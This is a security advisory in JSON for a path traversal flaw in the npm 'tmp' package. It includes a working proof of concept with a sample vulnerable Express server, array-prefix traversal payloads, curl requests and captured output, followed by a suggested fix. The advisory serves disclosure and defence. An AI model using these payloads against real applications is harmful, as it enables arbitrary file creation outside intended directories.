CVE-2026-49982: tmp Path Traversal Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7c78-jf6q-g5cm",
  "modified" : "2026-06-15T16:36:46Z",
  "published" : "2026-06-15T16:36:46Z",
  "aliases" : [ "CVE-2026-49982" ],
  "summary" : "tmp: Type-confusion bypass of _assertPath allows path traversal via non-string prefix/postfix/template",
  "details" : "### Summary\n\nThe `_assertPath` guard added to `tmp@0.2.6` rejects only string values that contain the substring `..`. It is bypassed when `prefix`, `postfix`, or `template` is supplied as a non-string value (Array, Buffer, or any object) whose `includes('..')` returns falsy but whose stringification still contains `../`. The value flows through `Array.prototype.join`/`String` coercion inside `_generateTmpName` and `path.join(tmpDir, opts.dir, name)`, producing a final path that escapes `tmpdir` and creates a file or directory at an attacker-controlled location with the host process's privileges.\n\nThis affects any application that forwards untrusted request data (a common pattern is JSON body fields or `qs`-parsed bracket-array query strings such as `?prefix[]=...`) into `tmp.file`, `tmp.fileSync`, `tmp.dir`, `tmp.dirSync`, `tmp.tmpName`, or `tmp.tmpNameSync` without explicit type coercion.\n\n### Impact\n\n- Arbitrary file creation outside the intended temporary directory, with the running process's filesystem permissions.\n- Directory creation outside the intended tree (via `tmp.dir{,Sync}`), which can then host a subsequent symlink swap.\n- File content that the application writes to the returned descriptor lands at the attacker's chosen path. In multi-tenant services this crosses tenant boundaries; in CI/build systems it can write into source trees, build outputs, or web roots.\n\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L - score 8.1 (High). Network-reachable when the consumer passes request data unchanged.\n\n### Affected versions\n\n`tmp` >= 0.2.6 (the `_assertPath` guard introduced by commit 7ef2728 / merged in efa4a06f). Earlier releases are vulnerable to the plain string form (already published as a separate advisory) plus this bypass.\n\n### Vulnerable code\n\n`lib/tmp.js` at tag `v0.2.6`, commit 41f7159:\n\n```javascript\n// lib/tmp.js:533-539\nfunction _assertPath(path) {\n  if (path.includes(\"..\")) {\n    throw new Error(\"Relative value not allowed\");\n  }\n\n  return path;\n}\n```\n\n```javascript\n// lib/tmp.js:577-580\noptions.prefix = _isUndefined(options.prefix) ? '' : _assertPath(options.prefix);\noptions.postfix = _isUndefined(options.postfix) ? '' : _assertPath(options.postfix);\noptions.template = _isUndefined(options.template) ? undefined : _assertPath(options.template);\n```\n\n```javascript\n// lib/tmp.js:515-525  - opts.prefix and opts.postfix are stringified by Array.prototype.join\nconst name = [\n  opts.prefix ? opts.prefix : 'tmp',\n  '-',\n  process.pid,\n  '-',\n  _randomChars(12),\n  opts.postfix ? '-' + opts.postfix : ''\n].join('');\n\nreturn path.join(tmpDir, opts.dir, name);\n```\n\nRoot cause: `_assertPath` assumes its argument is a string. For an `Array` argument, `Array.prototype.includes('..')` checks element equality (so `['../escape'].includes('..')` is `false`); for an arbitrary object, `Object.prototype.includes` does not exist and a duck-typed `includes: () => false` defeats the check entirely. In both shapes, the subsequent `[...].join('')` and `path.join(...)` coerce the value to its underlying string, which still contains `../`.\n\n### How untrusted data reaches `_assertPath`\n\nTwo production-realistic shapes that yield a non-string `prefix`/`postfix`/`template`:\n\n1. JSON request bodies. `express.json()` (and any other JSON body parser) preserves the parsed value's type. A body of `{\"prefix\":[\"../escape\"]}` reaches the handler as an Array.\n2. `qs`-style bracket-array query strings. Express 4's default `qs` parser turns `?prefix[]=../escape` into `['../escape']`. The same applies to any framework using `qs` (Fastify, Koa with bodyparser, Hapi via configured parsers, etc.).\n\nThe consumer pattern is the natural one - forward `req.body.prefix` directly into `tmp.file({ prefix, tmpdir })` with no developer-side coercion. The 0.2.6 release notes describe the guard as preventing prefix/postfix traversal, so consumers reasonably believe the guard covers the typical input flow.\n\n### Proof of concept (string vs array)\n\n`poc.js` (run after `npm install tmp@0.2.6`):\n\n```javascript\nconst tmp = require('tmp');\nconst path = require('path');\nconst fs = require('fs');\n\nconst baseDir = fs.mkdtempSync('/tmp/safe-base-');\n\nconsole.log('[negative control] string \"../escape\" - must be blocked');\ntry {\n  const r = tmp.fileSync({ tmpdir: baseDir, prefix: '../escape' });\n  console.log('  UNEXPECTED, file at:', r.name);\n  r.removeCallback();\n} catch (e) {\n  console.log('  BLOCKED as expected:', e.message);\n}\n\nconsole.log('\\n[bypass] array [\"../escape\"] - same effective value, not blocked');\ntry {\n  const r = tmp.fileSync({ tmpdir: baseDir, prefix: ['../escape'] });\n  console.log('  CREATED at:', r.name);\n  console.log('  ESCAPED:', !path.resolve(r.name).startsWith(path.resolve(baseDir)));\n  r.removeCallback();\n} catch (e) {\n  console.log('  BLOCKED:', e.message);\n}\n\nconsole.log('\\n[bypass] duck-typed object {toString, includes} - also not blocked');\ntry {\n  const r = tmp.fileSync({\n    tmpdir: baseDir,\n    prefix: { toString: () => '../escape', includes: () => false }\n  });\n  console.log('  CREATED at:', r.name);\n  console.log('  ESCAPED:', !path.resolve(r.name).startsWith(path.resolve(baseDir)));\n  r.removeCallback();\n} catch (e) {\n  console.log('  BLOCKED:', e.message);\n}\n```\n\nObserved output on `tmp@0.2.6`:\n\n```text\n[negative control] string \"../escape\" - must be blocked\n  BLOCKED as expected: Relative value not allowed\n\n[bypass] array [\"../escape\"] - same effective value, not blocked\n  CREATED at: /private/tmp/escape-78856-D3p4mEWyapSn\n  ESCAPED: true\n\n[bypass] duck-typed object {toString, includes} - also not blocked\n  CREATED at: /private/tmp/escape-78856-zP4qXkRm12Lf\n  ESCAPED: true\n```\n\n### End-to-end reproduction (against the deployed npm package)\n\nInstall:\n\n```bash\nmkdir tmp-bypass-poc && cd tmp-bypass-poc\nnpm init -y\nnpm install tmp@0.2.6 express@5\n```\n\n`victim-server.js` - realistic Express app that forwards a JSON body field into `tmp.file`:\n\n```javascript\nconst express = require('express');\nconst tmp = require('tmp');\nconst fs = require('fs');\nconst path = require('path');\n\nconst app = express();\napp.use(express.json());\n\nconst TENANT_BASE = fs.mkdtempSync('/tmp/tenant-base-');\nconsole.log('[victim] Tenant base dir:', TENANT_BASE);\n\napp.post('/upload', (req, res) => {\n  const userPrefix = req.body.prefix;  // attacker-controlled\n  console.log('[victim] received prefix:', JSON.stringify(userPrefix),\n              '(type:', Array.isArray(userPrefix) ? 'array' : typeof userPrefix, ')');\n\n  tmp.file({ tmpdir: TENANT_BASE, prefix: userPrefix }, (err, filepath, fd, cleanup) => {\n    if (err) {\n      console.log('[victim] tmp error:', err.message);\n      return res.status(400).json({ error: err.message });\n    }\n    fs.writeSync(fd, 'attacker-controlled-content');\n    fs.closeSync(fd);\n    const escaped = !path.resolve(filepath).startsWith(path.resolve(TENANT_BASE));\n    console.log('[victim] file created at:', filepath, 'ESCAPED:', escaped);\n    res.json({ filepath, escaped, tenantBase: TENANT_BASE });\n  });\n});\n\napp.listen(3000, () => console.log('[victim] http://127.0.0.1:3000'));\n```\n\nRun:\n\n```bash\nnode victim-server.js &\n```\n\nDrive three requests from another shell:\n\n```bash\necho '=== ATTACK 1: string prefix - caught by 0.2.6 ==='\ncurl -s -X POST -H 'Content-Type: application/json' \\\n  -d '{\"prefix\":\"../escape-string\"}' http://127.0.0.1:3000/upload\n\necho\necho '=== ATTACK 2: array prefix - bypasses 0.2.6 ==='\ncurl -s -X POST -H 'Content-Type: application/json' \\\n  -d '{\"prefix\":[\"../escape-array\"]}' http://127.0.0.1:3000/upload\n\necho\necho '=== ATTACK 3: multi-level traversal toward /etc ==='\ncurl -s -X POST -H 'Content-Type: application/json' \\\n  -d '{\"prefix\":[\"../../../etc/poc-tmp-bypass\"]}' http://127.0.0.1:3000/upload\n```\n\nCaptured transcript (verbatim from the test rig):\n\n```text\n=== ATTACK 1: string prefix - caught by 0.2.6 ===\n{\"error\":\"Relative value not allowed\"}\n\n=== ATTACK 2: array prefix - bypasses 0.2.6 ===\n{\"filepath\":\"/private/tmp/escape-array-79635-gEFyGCBNFSTh\",\"escaped\":true,\"tenantBase\":\"/tmp/tenant-base-3XHwPZ\"}\n\n=== ATTACK 3: multi-level traversal toward /etc ===\n{\"error\":\"EACCES: permission denied, open '/etc/poc-tmp-bypass-79635-PEIABptX8JGH'\"}\n```\n\nServer log:\n\n```text\n[victim] Tenant base dir: /tmp/tenant-base-3XHwPZ\n[victim] received prefix: \"../escape-string\" (type: string )\n[victim] tmp error: Relative value not allowed\n[victim] received prefix: [\"../escape-array\"] (type: array )\n[victim] file created at: /private/tmp/escape-array-79635-gEFyGCBNFSTh ESCAPED: true\n[victim] received prefix: [\"../../../etc/poc-tmp-bypass\"] (type: array )\n[victim] tmp error: EACCES: permission denied, open '/etc/poc-tmp-bypass-79635-PEIABptX8JGH'\n```\n\nObservations:\n\n- ATTACK 1 (string `../escape-string`) is rejected at `_assertPath`. The 0.2.6 guard works for plain strings.\n- ATTACK 2 (array `[\"../escape-array\"]`) passes the guard and creates a file at `/private/tmp/escape-array-...`, outside the tenant base `/tmp/tenant-base-3XHwPZ`. The file content is `attacker-controlled-content`. Confirmed with `ls`:\n\n```bash\n$ ls -la /tmp/escape-array-*\n-rw-------@ 1 rick  wheel  27 May 27 20:25 /tmp/escape-array-79635-gEFyGCBNFSTh\n$ cat /tmp/escape-array-*\nattacker-controlled-content\n$ ls -la /tmp/tenant-base-3XHwPZ/\ntotal 0\ndrwx------ 2 rick  wheel   64 May 27 20:25 .\n```\n\n  Tenant base is empty. The escape is complete.\n\n- ATTACK 3 (array `[\"../../../etc/poc-tmp-bypass\"]`) reaches `fs.open` for `/etc/poc-tmp-bypass-...`. The open fails only because of POSIX permissions, not because tmp blocked the path. On a process running as root, or against any world-writable target directory, this would succeed.\n\n### Negative control with patched build\n\nApplying the suggested fix below and re-running ATTACK 2:\n\n```text\n=== ATTACK 2: array prefix - after fix ===\n{\"error\":\"prefix option must be a string, got \\\"object\\\".\"}\n```\n\nThe patched build rejects non-string `prefix`/`postfix`/`template` with a clear type error before the path is constructed.\n\n### Suggested fix\n\nPatch `_assertPath` to require a string argument. The check `value.includes('..')` is sound only over strings; any non-string with a custom or array-element `includes` semantics bypasses it.\n\n```diff\n--- a/lib/tmp.js\n+++ b/lib/tmp.js\n@@ -528,11 +528,14 @@ function _generateTmpName(opts) {\n /**\n- * Check the prefix and postfix options\n+ * Check the prefix, postfix, and template options\n  *\n  * @private\n  */\n-function _assertPath(path) {\n-  if (path.includes(\"..\")) {\n+function _assertPath(option, value) {\n+  if (typeof value !== 'string') {\n+    throw new Error(`${option} option must be a string, got \"${typeof value}\".`);\n+  }\n+  if (value.includes(\"..\")) {\n     throw new Error(\"Relative value not allowed\");\n   }\n\n-  return path;\n+  return value;\n }\n@@ -575,9 +578,9 @@ function _assertOptionsBase(options) {\n   options.unsafeCleanup = !!options.unsafeCleanup;\n\n   // for completeness' sake only, also keep (multiple) blanks if the user, purportedly sane, requests us to\n-  options.prefix = _isUndefined(options.prefix) ? '' : _assertPath(options.prefix);\n-  options.postfix = _isUndefined(options.postfix) ? '' : _assertPath(options.postfix);\n-  options.template = _isUndefined(options.template) ? undefined : _assertPath(options.template);\n+  options.prefix = _isUndefined(options.prefix) ? '' : _assertPath('prefix', options.prefix);\n+  options.postfix = _isUndefined(options.postfix) ? '' : _assertPath('postfix', options.postfix);\n+  options.template = _isUndefined(options.template) ? undefined : _assertPath('template', options.template);\n }\n```\n\nDefence-in-depth, recommended in addition to the type check: validate the final resolved path against `tmpdir` after `_generateTmpName`, similar to what `_getRelativePath` already does for `dir` and `template`. That way any future bypass through a different vector (e.g., a future Node `path` change, or a different option) does not exit `tmpdir`.\n\n### Fix PR\n\nhttps://github.com/raszi/node-tmp-ghsa-7c78-jf6q-g5cm/pull/1\n\n### Credit\n\nReported by tonghuaroot.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "tmp"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.2.6"
      }, {
        "fixed" : "0.2.7"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/raszi/node-tmp/security/advisories/GHSA-7c78-jf6q-g5cm"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-49982"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/raszi/node-tmp"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-20", "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-15T16:36:46Z",
    "nvd_published_at" : "2026-06-11T17:16:35Z"
  }
}